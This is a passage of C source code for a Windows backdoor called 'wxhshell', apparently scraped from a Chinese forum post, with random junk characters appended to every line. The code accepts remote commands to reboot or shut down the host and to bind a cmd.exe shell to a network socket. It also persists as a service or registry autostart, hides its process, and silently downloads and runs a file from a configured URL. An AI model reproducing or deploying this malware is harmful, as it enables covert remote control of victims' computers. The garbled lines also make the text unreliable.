  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,o j\=2  
  } pNzGpCk  
  else { gb0ZGnI  
OECXNx  
    switch(cmd[0]) { TS<uBX  
  IyA8+N y  
  // 帮助 9Fh(tzz  
  case '?': { *Cgd?*\7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QWGFXy,=1  
    break; !bCLi>8  
  } S\UM0G}v  
  // 安装 k||DcwO  
  case 'i': { +#<"o#gZ  
    if(Install()) RsDI7v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Z 3fytY  
    else Qmh*Gh? v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wbId}!  
    break; WH$ Ls('  
    } ^5~[G%G4  
  // 卸载 S.OGLLprp  
  case 'r': { jQ31u  
    if(Uninstall()) $bKa"T*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fw5r\J87c  
    else K\ \U F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |KC3^  
    break; Kn9 ,N@bU_  
    } )FqE8oN-  
  // 显示 wxhshell 所在路径 -Q8pWtt  
  case 'p': { ptuW}"F  
    char svExeFile[MAX_PATH]; " ,rA  
    strcpy(svExeFile,"\n\r"); u$[T8UqF  
      strcat(svExeFile,ExeFile); ~1h-LbFI2  
        send(wsh,svExeFile,strlen(svExeFile),0); n1W}h@>8  
    break; :r/rByd'  
    } 6%_d m'  
  // 重启 0\U28zbMJw  
  case 'b': { M$gy J!Pb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f i!wrvO  
    if(Boot(REBOOT)) n{Mj<\kL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Qq$ql27  
    else { Q\:'gx8`  
    closesocket(wsh); {w^flizY  
    ExitThread(0); V*'9yk"  
    } Yazpfw 7'd  
    break; 6C/D&+4  
    } Z y7@"C  
  // 关机 W:>RstbnMG  
  case 'd': { %]Nz54!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rd 1&?X  
    if(Boot(SHUTDOWN)) ix&hsNzD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?I 1@:?Qi  
    else { }Gz"og*8  
    closesocket(wsh); 5J&n<M0G1  
    ExitThread(0); TCF[i E{  
    } uj/le0  
    break; *qBMt[a  
    } Qzh:*O  
  // 获取shell R/O_*XY  
  case 's': { %r!  
    CmdShell(wsh); ;|/7o@$ n  
    closesocket(wsh); Gz@%UIv  
    ExitThread(0); `u-VGd\  
    break; J= |[G'  
  } Vq'&t<K#  
  // 退出 m9xu$z| e  
  case 'x': { }}(~'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \^-3)*r  
    CloseIt(wsh); ?\#4`9  
    break; bt&vik _  
    } Hab9~v ]  
  // 离开 O.K8$  
  case 'q': { [bT@Y:X@`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <qRw! 'S^  
    closesocket(wsh); `g :<$3}  
    WSACleanup(); u%[*;@;9+  
    exit(1); jv|IV  
    break; %r!#  
        } H[Pb Wy:  
  } PUYo >eB)0  
  } &GD7ldck  
{h%.i Et%  
  // 提示信息 $oua]8!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mc$c!Ax*  
} *BO4"3Z  
  } t583Q/1@  
! 6 $>|  
  return; Y]gt86  
} *,n7&  
cq9Q7<&MF  
// shell模块句柄 1k/l7&n"  
int CmdShell(SOCKET sock) dna f>G3  
{ z!L0j +  
STARTUPINFO si; !7 ^He3  
ZeroMemory(&si,sizeof(si)); Vi?Z`G]w!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x.r`(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7R2)Klt  
PROCESS_INFORMATION ProcessInfo; 9vj:=,TNu  
char cmdline[]="cmd"; Nm081ic2<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gaCGU<L  
  return 0; ckP3[@Su {  
} ca-n:1  
u('OHPqq  
// 自身启动模式 0'~b<>G%  
int StartFromService(void) XWUT b\@  
{ Jb$z(?S  
typedef struct P`%ppkzV6  
{ *HXq`B  
  DWORD ExitStatus; X%F9.<4  
  DWORD PebBaseAddress; RU >vnDaC  
  DWORD AffinityMask; {oJa8~P  
  DWORD BasePriority; 4 ?c1c  
  ULONG UniqueProcessId; slmxit  
  ULONG InheritedFromUniqueProcessId; .BUl$RW|  
}   PROCESS_BASIC_INFORMATION; ?rK%;GTo  
=J'?>-B  
PROCNTQSIP NtQueryInformationProcess; p.\KmEx  
C1do]1VH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FXSDN268  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &+^ # `nq  
qlxW@|  
  HANDLE             hProcess; P3 Evv]sB@  
  PROCESS_BASIC_INFORMATION pbi; -*Pt781  
e S=k 48'U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?7p| F^  
  if(NULL == hInst ) return 0; X}=f{/\S  
J-f0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #&:nkzd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7w$R-Y/E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lKD@2  
Uy1xNb/d  
  if (!NtQueryInformationProcess) return 0; [ O)Zof  
;VH]TKkk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <EUSl|6  
  if(!hProcess) return 0; H'`(|$:|  
mT>p:G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PmY:sJ{M  
E 9:hK  
  CloseHandle(hProcess); bOdv]nQ1  
\O?B9_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); stG&(M  
if(hProcess==NULL) return 0; &sgwY  
*u>\&`h=  
HMODULE hMod; 3.H-G~  
char procName[255]; S- \lN|  
unsigned long cbNeeded; 8JrGZ8Q4RM  
!491 \W0ZH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W9Lg}[>:)  
V<pqc&f .  
  CloseHandle(hProcess); -Mvw'#(0  
vWovR`  
if(strstr(procName,"services")) return 1; // 以服务启动 htRZ}e  
Pb;`'<*U  
  return 0; // 注册表启动 F)5Aq H/p  
} 79x9<,a)  
7x]nY.\  
// 主模块 "3MUrIsB>  
int StartWxhshell(LPSTR lpCmdLine) FlG^'UD  
{ 1c"m$)a4  
  SOCKET wsl; 4w6K|v<X  
BOOL val=TRUE; 3ky+qoe  
  int port=0; l1qwT0*6>  
  struct sockaddr_in door; B3t>M) 9  
1Qu,]i`  
  if(wscfg.ws_autoins) Install(); ;wxt<   
"6.p=te  
port=atoi(lpCmdLine); $I36>  
yy1r,dw  
if(port<=0) port=wscfg.ws_port; <3x#(ms!!  
Lx{N%;t*E  
  WSADATA data; @b{u/:y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &FVlTo1  
7uxPkZbb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q$rA-`jw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vUs7#*  
  door.sin_family = AF_INET; O*{H;7Pv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !q\w"p0X  
  door.sin_port = htons(port); 1n( }Q1fa  
hUxhYOp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6<$|;w-OV  
closesocket(wsl); )YtL=w?L'  
return 1; 05 Q8`  
} y;Ln ao7i  
2H+DT-hK  
  if(listen(wsl,2) == INVALID_SOCKET) { :t S"sM  
closesocket(wsl); WG luY>C;  
return 1; ee^_Dh4  
} kte.E%.PE  
  Wxhshell(wsl); C+?s~JL  
  WSACleanup(); 7 aD&\?  
\X.=3lc&  
return 0; 'sBXH EZA]  
'm5(MC,  
} 7B!Qq/E?g  
s)8M? |[`I  
// 以NT服务方式启动 %,cFX[D/)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A<5`[<x$  
{ ya L W(@  
DWORD   status = 0; xBfe8lor  
  DWORD   specificError = 0xfffffff; LC\:xia{X  
J8BT%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :_a]T-GL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1 " 7#|=1/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cu?(P ;mQi  
  serviceStatus.dwWin32ExitCode     = 0; ]U1,NhZu  
  serviceStatus.dwServiceSpecificExitCode = 0; 4`P2FnJ?  
  serviceStatus.dwCheckPoint       = 0; O)JUY *&I5  
  serviceStatus.dwWaitHint       = 0; EJ ~k Z3  
Q9xx/tUW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )$h9Y   
  if (hServiceStatusHandle==0) return; XJ~l5} y ]  
nSQ}yqM)  
status = GetLastError(); sLi//P?:t  
  if (status!=NO_ERROR) &N_c-@2O  
{ 7QiCZcb\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xyjV dD\  
    serviceStatus.dwCheckPoint       = 0; nCMa$+  
    serviceStatus.dwWaitHint       = 0; z12But\<  
    serviceStatus.dwWin32ExitCode     = status; tq:tY}:4  
    serviceStatus.dwServiceSpecificExitCode = specificError; %=4ak]As  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uBq3.+,x*  
    return; u\6]^T6  
  } :+Q"MIU  
;Fem<p)V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; za]p,bMX  
  serviceStatus.dwCheckPoint       = 0; q VdC?A|  
  serviceStatus.dwWaitHint       = 0; Gb|}Su  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _<*GU@  
} 2 C]la  
niHL/\7u  
// 处理NT服务事件,比如:启动、停止 jJ"EGFa8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s P4 ,S(+e  
{ jc.JX_/  
switch(fdwControl) B%J%TR_  
{ 5J+V:Xu{  
case SERVICE_CONTROL_STOP: }j(2Dl  
  serviceStatus.dwWin32ExitCode = 0; .`& /QiD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1uS-Tx  
  serviceStatus.dwCheckPoint   = 0; )Ct*G= N  
  serviceStatus.dwWaitHint     = 0; G P[r^Z  
  { ,;iBeqr5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @fH&(@  
  } c\MsVH2 |  
  return; 4JZHjf0M6  
case SERVICE_CONTROL_PAUSE:  AMD?LjY~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ki~y@@3I  
  break; \}x'>6zr2  
case SERVICE_CONTROL_CONTINUE: ff}a <w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +e8>?dkq  
  break; 3[=`uO0\7  
case SERVICE_CONTROL_INTERROGATE: aR)en{W  
  break; V9E6W*IE  
}; Lkl|4L   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h [IYA1/y  
} CC>fm 1#i\  
>U~|R=*  
// 标准应用程序主函数 Dq zA U7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .?0>5-SfY  
{ q|u8CX  
\_*MJ)h)X  
// 获取操作系统版本 -[pCP_`)u  
OsIsNt=GetOsVer(); HD:%Yv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |N$?_<H  
<P^hYj-swh  
  // 从命令行安装 mheU#&|  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1n`1o-&l-  
.^LL9{?  
  // 下载执行文件 q^N0abzgP  
if(wscfg.ws_downexe) { ;sChxQ=.^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SCurO9RN  
  WinExec(wscfg.ws_filenam,SW_HIDE); !/nx=vg p  
} M[K0t>ih  
;>Ca(Y2M  
if(!OsIsNt) { t{X?PF\>o  
// 如果时win9x,隐藏进程并且设置为注册表启动 r6n5Jz  
HideProc(); "@{4.v^}!  
StartWxhshell(lpCmdLine); /:y2Up-  
} NYjS  
else MKe^_uF  
  if(StartFromService()) [{@zb-h  
  // 以服务方式启动 [X }@Ct6  
  StartServiceCtrlDispatcher(DispatchTable); TmYP_5g:  
else Cfr<D3&,]  
  // 普通方式启动 JEsLF{  
  StartWxhshell(lpCmdLine); ;wbUk5Tf/  
=a9etF%B  
return 0; ~#x :z ^U  
}
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只看该作者 1 发表于: 2006-10-10
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